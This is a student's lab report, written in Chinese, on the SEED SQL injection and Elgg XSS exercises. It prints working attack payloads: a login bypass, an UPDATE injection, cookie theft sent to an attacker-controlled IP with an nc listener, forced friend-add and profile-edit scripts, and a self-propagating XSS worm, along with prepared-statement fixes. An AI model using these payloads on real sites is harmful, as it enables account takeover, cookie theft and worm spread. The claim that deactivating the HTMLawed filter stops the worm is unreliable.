20241904 2024-2025-2 《网络攻防实践》实验十

一、实践内容

1. SQL注入

(1)概述

结构化查询语言(Structured Query Language,缩写:SQL):一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言);
SQL注入(SQL Injection):是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。

(2)漏洞危害

SQL注入漏洞对于数据安全的影响:

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统

2. xss跨站脚本

(1)概述

XSS(跨站脚本攻击):攻击者利用这个漏洞将恶意脚本注入到网页中,当其它用户浏览这些页面时,恶意脚本会在用户的浏览器中执行。XSS攻击允许攻击者在用户的浏览器上执行脚本,从而可能获取用户的敏感信息(如cookies)、篡改网页内容、重定向用户至恶意站点,甚至进行钓鱼攻击等。

(2)原理

HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

二、实践过程

1. SEED SQL注入攻击与防御实验

我们已经创建了一个 Web 应用程序,并将其托管在 www.SEEDLabSQLInjection.com。该 Web 应用程序是一个简单的员工管理应用程序。员工可以通过此 Web 应用程序查看和更新数据库中的个人信息。此 Web 应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

永久修改主机名:在 ubuntu 系统中修改 hostname 为 20241904lwl。首先使用命令 sudo vi /etc/hostname 打开文件,先按 i 进入编辑模式,将文件中的旧主机名删除,输入新的主机名,修改完成后按 Esc 键,再输入 :wq 保存并退出编辑器,然后重启系统。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(1)熟悉SQL查询

任务:已经创建了一个名为 Users 的数据库,其中包含一个名为 creditential 的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn 等),需要使用数据库来熟悉 SQL 查询。

  • 输入命令行 sudo service apache2 start 开启 Apache 服务;输入 sudo service apache2 status 检查 Apache 状态,输出显示 active(running)
    在这里插入图片描述
  • 输入命令行 mysql -u root -p 登录 MySQL 数据库,输入密码 seedubuntu
    在这里插入图片描述
  • 使用 show databases;命令查看已有数据库;
    在这里插入图片描述
  • 输入命令行 use Users;show tables; 查看 Users 中的所有表;
    在这里插入图片描述
  • 利用 SQL 语句 select * from credential; 查看表中内容,可以看到该信息表中包含ID、姓名、EID、薪资、生日、SSN、密码等信息;
    在这里插入图片描述
(2)对SELECT语句的SQL注入攻击

任务:上述 Web 应用存在 SQL 输入漏洞,需要在不知道密码的情况下登陆该 Web 应用程序。

  • 在浏览器中输入 http://www.seedlabsqlinjection.com/ 进入已经搭建好的 Web 页面;
    在这里插入图片描述
  • 右键查看网页源码,得知用户输入信息通过 get 的方法提交至 unsafe_home.php 页面进行校验;
    在这里插入图片描述
  • 然后在终端中打开该文件,进行代码审计;进入 /var/www/SQLInjection/ 目录,找到 unsafe_home.php,然后输入命令:vim unsafe_home.php ,可以看到程序针对 Admin 和普通用户采用不同的处理方法;
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  • 重点观察下面的 SQL 查询语句,其中 where 参数处存在 SQL 注入漏洞;输入变量 $input_unameAdmin'# 时,' 与 SQL 语句中的单引号闭合,# 就被解释成了 SQL 语句中的注释符,将后续的 SQL 语句注释掉使得 # 后的 Password 判断不会执行,这样的话,就可以绕过密码校验,直接进入 Admin 用户页面;
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";
  • 验证猜想,输入账户:Admin’# ,密码:随机,登录成功;对 SELECT 语句的SQL注入攻击成功。
    在这里插入图片描述
    在这里插入图片描述
(3)对UPDATE语句的SQL注入攻击

任务:通过员工的更新个人界面实施 UPDATE 语句的 SQL 注入攻击。

  • 进入 Edit_Profile 更新页面,查看源代码,看到表单以 get 方式将数据发到 unsafe_edit_backend.php 页面;
    在这里插入图片描述
  • 输入命令 vim unsafe_edit_backend.php ,找到源码中的 UPDATE SQL 语句;
    在这里插入图片描述
    在这里插入图片描述
  • 同理,可以构造 ', Salary='20241904' where name='Admin'; #,对 Admin 的 Salary 进行修改,进行 SQL 注入攻击;保存后看到 Admin 的 Salary 已经改为20241904;对 UPDATE 语句的 SQL 注入攻击实验成功。
    在这里插入图片描述
    在这里插入图片描述
(4)SQL对抗

任务:修复上述SQL注入攻击漏洞。

  • 进入 /var/www/SQLInjection/ 目录,找到 unsafe_home.php,然后输入命令:sudo vim unsafe_home.php ,查看其源码;(在root权限下,才可以对文件进行修改)
    在这里插入图片描述
    在这里插入图片描述
  • 观察 unsafe_home.php 文件的源代码,可以发现,它们对 SQL 语句的参数和需要执行的动作或条件混在一起没有分开,导致数据库无法分清楚,产生 SQL 注入风险。可以使用预处理语句避免上述注入攻击的实现,首先在 unsafe_home.php 页面中,对SELECT语句进行预处理:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

在这里插入图片描述

  • 修改保存 unsafe_home.php 文件后,登录失败。
    在这里插入图片描述
    在这里插入图片描述
  • 进入 /var/www/SQLInjection/ 目录,找到 unsafe_edit_backend.php,然后输入命令:sudo vim unsafe_edit_backend.php ,查看其源码;
    在这里插入图片描述
  • 接着,在 unsafe_edit_backend.php 页面中,对 UPDATE 语句进行预处理。对 UPDATE 的修复如下,用以下代码替换掉 SQL 部分的代码:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

在这里插入图片描述

  • 修改保存后,进入unsafe_edit_backend.php 页面,输入 ', Salary='20241904' where name='Alice' ,点击Save按钮后一直卡在空白页面,可以发现 UPDATE 对数据库的修改失败。
    在这里插入图片描述
    在这里插入图片描述

2. SEED XSS跨站脚本攻击实验(Elgg)

任务:为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

(1)发布恶意消息,显示警报窗口

任务:在您的 Elgg 配置文件中嵌入一个 JavaScript 程序,以便当另一个用户查看您的配置文件时,将执行 JavaScript 程序并显示一个警报窗口。

  • 在浏览器中访问 http://www.xsslabelgg.com/ ,输入账号:Alice 密码:seedalice 进行登录;
    在这里插入图片描述
    在这里插入图片描述
  • 点击 Alice 头像进入主页,点击 Edit profile,在 Brief description 中输入 XSS 攻击代码:<script>alert('lwl_xss');</script>
    在这里插入图片描述
    在这里插入图片描述
  • 点击save按钮进行保存,发现弹出 lwl_xss 警告弹窗。
    在这里插入图片描述
(2)弹窗显示cookie信息

任务:将 cookie 信息显示。

  • 点击 Edit profile,在 Brief description 中输入 XSS 攻击代码:<script>alert(document.cookie);</script>
    在这里插入图片描述
  • 点击save按钮进行保存,显示出 cookie 的信息。
    在这里插入图片描述
(3)窃取受害者的cookies

任务:将 cookie 发送给攻击者。

  • 查看 ubuntu-lwlIP地址192.168.200.6
    在这里插入图片描述
  • 构造 XSS 攻击代码,只要有用户访问 Alice 的主页,就会接收到该用户的 cookie。点击 Edit profile,在 Brief description 中输入 XSS 攻击代码:<script>documment.write('<img src=http://192.168.200.6:5555?c='+escape(document.cookie) + '>');</script> 并保存,此时端口设置为5555
    在这里插入图片描述
  • 切换账号:Boby 密码:seedboby,使用 Boby 的账号进行登录并访问 Alice 的主页;
    在这里插入图片描述
    在这里插入图片描述
  • 访问 Alice 主页前输入指令 nc -l 5505 -v (其中 -l 指定端口,-v 显示详细信息)监听5555端口,访问 Alice 主页后成功得到 Boby 的 cookie。
    在这里插入图片描述
(4)成为受害者的朋友

任务:使用 js 程序加受害者为朋友,无需受害者干预,使用相关的工具了解 Elgg 加好友的过程。

  • 假设当前登录用户为 Alice,然后访问用户 Boby 的主页;首先点击 ctrl+shift+E 打开浏览器开发者模式,进入 Network 页面,然后点击和 Boby 成为好友;可以看到点击按钮后浏览器发送了 GET 请求;
    在这里插入图片描述
  • 其中请求的地址是:http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1745740896&__elgg_token=9Bq6co2QD3dVHkzNbcPUHA ;可以看到,这里用到了三个参数(friend__elgg_ts__elgg_token,分别是好友、时间、身份认证);
    在这里插入图片描述
    在这里插入图片描述
  • 根据以上信息构造以下js程序代码:
<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
 
    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
 
    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>
  • 将该段代码添加至 Alice 的 About me 中,并选择 Edit HTML 模式点击保存;
    在这里插入图片描述
  • 切换账号:Boby 密码:seedboby,使用 Boby 的账号进行登录;可以看到 Boby 目前没有好友;
    在这里插入图片描述
  • 访问 Alice 主页,再通过左上角返回 Boby 主页,看到 Boby 已经和 Alice 成为朋友。
    在这里插入图片描述
(5)修改受害者的信息

任务:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

  • 首先进入 Alice 主页,尝试更改 About me 的内容,并在 Network 中查看到网站用 POST 的方式提交表单给 http://www.xsslabelgg.com/action/profile/edit 链接;
    img
  • 根据日志信息使用以下代码构造 js 程序:
<script type="text/javascript">
    window.onload = function(){
        //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
        //and Security Token __elgg_token
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.lwl20241904 </p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        //FILL IN
        var samyGuid=44;
        //FILL IN
        if(elgg.session.user.guid!=samyGuid)
        {
            //Create and send Ajax request to modify profile
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>
  • 同理,将其添加在 Alice 的 About me 中,并点击保存;
    在这里插入图片描述
  • 登录Boby的账号,并浏览Alice的主页,有弹窗出现;
    在这里插入图片描述
  • 再回到Boby的主页发现 About me 已经被改变,js 程序修改受害者主页成功。
    在这里插入图片描述
(6)编写XSS蠕虫
  • 根据前面的xss攻击代码构造一个具有传染性的xss蠕虫,代码如下:
<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>Hacked by xss attack.lwl20241904"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
 
        var samyGuid=44;
 
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
        
    }
</script>
  • 将这段代码添加至Alice的About me中,并点击保存;
    在这里插入图片描述
  • 登录 Boby 号,访问 Alice 主页并查看 Boby 的 About me;发现 Boby 已经被改变了,感染了xss 蠕虫攻击代码;
    在这里插入图片描述
  • 退出登录 Boby,使用 Samy(密码:seedsamy) 访问 Boby,发现 Samy 被感染。
    在这里插入图片描述
    在这里插入图片描述
(7)对抗XSS攻击
  • 登录Admin的账号(账号:Admin 密码:seedelgg);
    在这里插入图片描述
  • 点击Account -> Administration -> plugins
    在这里插入图片描述
  • 找到插件 HTMLawed ,将其关闭,设为 Deactivate 状态。该插件用来校验用户的输入输出,并且可以自动删除特定的标签;
    在这里插入图片描述
    在这里插入图片描述
  • 再次登录 Boby 账号,发现 XSS 蠕虫攻击已经失效。
    在这里插入图片描述

三、学习中遇到的问题及解决

  • 问题1:开启 apache 服务时,出现 unable to resolve host 20241904lwl : Connection timed out 错误;
    在这里插入图片描述
  • 问题1解决方案:首先在 /etc/hosts 中添加对应的解析,确保文件中有一行将主机名解析到正确的IP地址;输入sudo service apache2 status检查 Apache 状态,输出显示 active(running),启动成功。
    在这里插入图片描述
    在这里插入图片描述
  • 问题2:对UPDATE语句进行SQL注入攻击时,无法进入 Edit_Profile 更新页面;
    在这里插入图片描述
  • 问题2解决方案:安装VMtools,安装过程中出现以下问题,查询可知因为当前用户没有足够的权限来安装 VMware Tools,需要以超级用户(root)身份运行安装脚本,安装成功。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  • 问题3:实验二中使用 js 程序加受害者为朋友无法实现;
  • 问题3解决方案:应先选择 Edit HTML 模式,然后将该段代码添加至 Alice 的 About me 中,再点击保存即可成功。在这里插入图片描述

四、实践总结

本周主要学习了SQL注入和XSS蠕虫攻击,充分理解了它们的攻击原理以及防御策略,我感觉到本次实践内容多而复杂但是相对来说比较简单;SQL注入是在以前的实践课程中学习过的内容,通过本次实践能够回忆起相关知识点,而XSS跨站脚本攻击是全新的学习过程,通过实践也对其在链接中插入恶意代码深有体会。需要注意的是本次实验需要在新版本(SEEDUbuntu-16.04-32bit)的虚拟机中操作,在以往下载的SEEDUbuntu9_August_2010版本中无法查询到Users数据库。

参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值